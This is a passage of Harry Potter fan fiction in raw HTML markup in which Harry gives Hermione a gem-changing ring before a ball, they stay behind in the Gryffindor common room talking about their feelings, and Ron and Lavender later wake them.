style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks\nRon, you look nice as well.&#8221; Ron turned as red as his hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;um&#8230;shall\nwe go?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sure.&#8221;\nLavender went first, and Ron followed her out the portrait hole.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwatched several other Gryffindors file through the common room &#8211; each meeting with\ntheir escorts for the evening.&nbsp; Several minutes passed by, and he wondered\nif something was keeping Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ndoor to the girls&#8217; dormitory opened, and Harry turned around.&nbsp; His jaw hit\nthe floor, and he could nothing but stare.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nwas grinning from ear to ear; she&#8217;d shocked him speechless.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Like\nit?&#8221; She&#8217;d left her dress robes off on purpose; they were slung over her arm;\nbut that wasn&#8217;t what made Harry gasp.&nbsp; No, it was the tight-fitting black\ndress that she was wearing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Now\nHarry knew that he didn&#8217;t love Hermione for her looks, but he never thought she\ncould look this beautiful.&nbsp; Her dress only went down to mid-thigh and\nshowed off her long, smooth legs.&nbsp; It was quite low-cut and made Harry&#8217;s\nblood pressure rise several levels.&nbsp; Hermione had straightened her hair so\nit now hung down to just above her waist.&nbsp; Although she never wore\nmake-up, Pavarati and Lavender had convinced her to wear at least some for\ntonight.&nbsp; A slight hint of blush brought out the soft contours of her\ncheeks; a touch of mascara brought out her eyes; and a bit of ruby-red lipstick\nmade her lips look quite enticing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;I&#8230;I&#8230;gosh,\nyou&#8217;re beautiful!&#8221; Harry didn&#8217;t what else to say!&nbsp; His girlfriend giggled\nsoftly and walked up to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Told\nyou, I&#8217;d surprise you.&nbsp; Now help me on with these?&#8221; She held out her dress\nrobes, and Harry helped her slip them on.&nbsp; His arms slid around her, and\nhe pressed himself up against her back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;&#8221;\nHis voice was much deeper than normal, and it sent a pleasant shutter down\nHermione&#8217;s spine. &#8220;&#8230;I mean it; you&#8217;re absolutely gorgeous!&#8221; She turned her head\nand smiled at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, Mr. Potter; you look quite handsome yourself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nreached into his pocket and took out a small box.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nhave a surprise for you too, sweetheart.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Sweetheart!&#8217;\nHermione had never heard Harry call her that before, but it made her feel all\nwarm inside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\npicked up her hand and slid a small round band onto her ring finger.&nbsp;\nHermione looked down at the ring Harry had given her.&nbsp; It was gold and had\na small diamond in the center.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nI&#8230;I don&#8217;t know what to say.&#8221; He turned her around and smiled warmly at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nno ordinary ring, Herm, look.&#8221; She looked down, but the diamond had been\nreplaced with a ruby.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nhappened?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\ncalled a precious ring, Hermione.&nbsp; The stone it holds changes from one\nprecious gem to another after a certain period of time.&#8221; The ruby changed into\na sapphire. &#8220;Since it holds precious gemstones, you&#8217;re supposed to give it to\nthe person who&#8217;s most precious to you.&#8221; Hermione finally understood why he&#8217;d\ngiven her this.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nshe gasped and wrapped her arms around his neck. &#8220;Thank you, that&#8217;s so sweet.&#8221;\nHe wrapped his arms around her and pressed her close.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nlove you, Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nlove you too, Harry.&#8221; He cupped her face in his hands again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;May\nI kiss the most beautiful girl at Hogwarts?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Enough\nyou!&#8221; she laughed as he kissed her deeply.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntwo of them stood there wrapped up in each other&#8217;s arms and practically\nsuffocating one another.&nbsp; Harry had a sudden thought if whether he and\nHermione should even go tonight!&nbsp; He wouldn&#8217;t mind spending a night alone\nwith her in the common room; they were the only ones left.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Know\nsomething?&#8221; Harry gasped as he pulled away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221;\nHermione asked breathlessly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;d\nsay we have a choice.&nbsp; We could go down to the ball like everyone else, or\nwe could spend the evening here&#8230;all alone.&#8221; Fire danced in his eyes, and\nHermione felt her face heating up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\na tough one, but&#8230;I guess I wouldn&#8217;t mind staying in tonight.&nbsp; However, I\ndon&#8217;t think I&#8217;d keep my current attire on.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Five\nminutes?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Done.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Five\nminutes later, the two teenagers were lying on the couch in the Gryffindor\ncommon room.&nbsp; They were staring at one another from opposite ends;\nHermione had her feet propped up in Harry&#8217;s lap; and he was giving her a very\nrelaxing massage.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hmm,\ncan I ask you something?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sure\nHerm, what is it?&#8221; Hermione opened her eyes from the lulled state she was in\nand smiled at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Back\nduring the TriWizard Tournament, what was your reaction when you saw that Rita\nhad pegged me as your girlfriend.&nbsp; I mean, I know we weren&#8217;t together\nthen, but I just want to know&#8230;did it offend you that everyone thought I was\nyour girlfriend?&#8221; Harry looked at her completely shocked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione,\nI would never have been offended, but we were both still young back then.&nbsp;\nI was actually quite flattered when Rita had printed that article.&nbsp; I knew\nthat it wasn&#8217;t true, but it got me thinking about what if you really were my\ngirlfriend.&nbsp; I kind of grew out of it though.&nbsp; I figured you just\nliked being one of my best friends and wanted to concentrate on school before\nanything else.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwill admit though that Victor Krum made me rather mad when he showed up with\nyou at the tournament ball.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nreally, were you planning to ask me?&#8221; Hermione was beginning to enjoy this, and\nHarry scratched the back of his neck.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;To\nbe honest, my first choice was to ask Cho Chang cause she seemed interested in\nme, but that idea bombed completely.&nbsp; I thought about you, but I didn&#8217;t\nwant you to think that I was just using you so I had a date.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Victor\nhad asked me pretty quickly so I probably would&#8217;ve said no anyway,&#8221; Hermione\nreplied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Herm,\ncan I ask you something?&nbsp; You don&#8217;t have to answer though if you don&#8217;t\nwant?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nall right, what is it?&#8221; Harry felt really nervous, but he asked before he lost\nhis nerve.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwanted to ask&#8230;when or why did you start loving me?&nbsp; I mean&#8230;did I do something\nor say something that made you realize it?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\ngazed at him with loving eyes; she understood his question.&nbsp; Harry had\nnever had anyone love him before.&nbsp; His parents had been killed to early for\nhim to remember them, and his aunt and uncle hated him with a vengeance.&nbsp;\nHarry didn&#8217;t know how to accept someone loving him; he felt that he had to keep\nearning it or it would vanish.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;&#8221;\nHermione shifted around until she was sitting right next to him and put a hand\non his thigh.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Listen\nto me carefully, you don&#8217;t have to do anything to make me love you.&nbsp; I\nlove you because you&#8217;re you &#8211; no other reason.&nbsp; I love you because you&#8217;re\nsweet, kind, compassionate, and tender.&nbsp; You don&#8217;t judge others by who\nthey are; you accept everyone no matter who they are.&#8221; She ruffled his hair and\nkissed his cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks,\nI needed to hear that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ndrew her into his arms, and Hermione laid her head on his chest.&nbsp; They\nboth stretched out so that Harry was lying on his back with Hermione on top of\nhim.&nbsp; He didn&#8217;t mind; she wasn&#8217;t that heavy anyway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes?&#8221;\nHis fingers were stroking her hair, and it was making Hermione very sleepy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Tell\nme, when did you know that you loved me?&#8221; He didn&#8217;t look down at her but merely\npulled her head down on his chest.&nbsp; Harry stared up at the ceiling trying\nto think of an answer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;To\nbe honest, I don&#8217;t remember the exact moment, but I remember my feelings.&nbsp;\nBack during our fourth year, when you said that Victor had invited you to stay\nwith him for the summer, I felt happy for you, but I also felt jealous.&nbsp; I\nknew that I shouldn&#8217;t have because I&#8217;d never curse you with staying with my\naunt and uncle for the summer.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nguess what happened is that I kept thinking of the worst scenario.&nbsp; If you\nwent to go see him, then you might find out that you liked him, and then you\nmight decide to go to his school instead of Hogwarts.&nbsp; And if you left, I\nwouldn&#8217;t be able to see you anymore.&nbsp; I wouldn&#8217;t be able to see you smile\nor have you nag me about not doing my homework on time.&nbsp; I wouldn&#8217;t have\nyou there to say that everything will be all right when things were tough, and\nI wouldn&#8217;t be able to tell you to relax and have a little fun every now and\nthen.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nknew that he was babbling, but Hermione didn&#8217;t seem to be objecting.&nbsp; In\nfact, he was sure that he could hear her purring in response to his story.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ncan&#8217;t really say that I thought it was love that made me feel like that, but I\nknew that I didn&#8217;t want you to leave.&nbsp; I&#8217;d miss you too much!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwould&#8217;ve missed you too, Harry.&#8221; Hermione said softly and nuzzled her head\nagainst his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nand Lavender walked through the portrait chatting softly.&nbsp; It was well after\nmidnight, but the dance was still going on.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nhad fun tonight, Ron,&#8221; Lavender said softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks,\nso did I,&#8221; he replied and blushed slightly.&nbsp; His eyes widened when he\nlooked passed Lavender towards the fireplace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nI&#8217;ll be a two-headed unicorn!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis it?&#8221; Lavender asked and turned around.&nbsp; At first, she was surprised,\nbut then a warm smile spread across her face.&nbsp; She glanced at Ron and saw\nthe same expression on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;They\nlook so cute!&#8221; she giggled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">There,\nlying on the couch, sleeping as peacefully as doves in their nest were Harry\nand Hermione.&nbsp; Harry&#8217;s back was up against one end of the couch, and\nHermione was lying on top of him.&nbsp; His right arm was wrapped tightly\naround her, while his left hand was entangled with her right hand.&nbsp;\nHermione&#8217;s head was on his chest, and she had a look of complete contentment on\nher face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We&#8217;d\nbetter wake them now before everyone sees them like that,&#8221; Ron suggested.&nbsp;\nHe knew the rumors that would spread if Harry and Hermione were caught sleeping\ntogether like this.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwoke up as he felt someone poking him in the shoulder.&nbsp; His eyes opened\ngroggily, and he yawned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wake\nup, will you!&#8221; It was Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron,\nwhat is it?&nbsp; Is it morning already?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nHarry, it&#8217;s not.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Then\nlet me sleep!&#8221; Ron poked him again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nneed to get up.&nbsp; If McGonagall catches you two like this, you&#8217;re dead.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you talking about?&#8221; Harry finally woke up completely to see a brown head of\nhair resting on his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nwhat I&#8217;m talking about,&#8221; Ron chuckled. &#8220;You two better separate before everyone\nelse gets back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks,\njust give us a minute, and I&#8217;ll get Herm up,&#8221; Harry replied.&nbsp; Ron nodded,\nand Harry silently thanked him from saving both he and Hermione from some very\nembarrassing questions if they&#8217;d been caught.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nand Lavender headed up to the dormitories, and Harry nudged the sleeping form\non his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione,&#8221;\nhe said softly and brushed her hair.&nbsp; She nuzzled her cheek against his\nchest and sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hmm,\nlet me sleep Harry.&#8221; He smiled and kissed her forehead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come\non, sweetheart, wake up, everyone&#8217;s coming back from the dance.&#8221; It took a\nmoment, but the young woman opened her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nsat up and shifted her into his lap.&nbsp; Hermione rubbed the sleep out of her\neyes and yawned.&nbsp; She reluctantly left his arms and stood up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nfollowed her to the dormitories but stopped when she approached the girls&#8217;\ndoorway.&nbsp; He raised his hand out in front of him, and Hermione did the\nsame.&nbsp; They pressed the palms of their hands together and entwined their\nfingers.&nbsp; Harry tugged her towards him, and Hermione stepped back into his\nembrace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Goodnight\nHarry.&#8221; He bent down and gave her a soft, gentle kiss.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Goodnight\nHermione.&#8221;</p>\n\n<p class="MsoNormal" 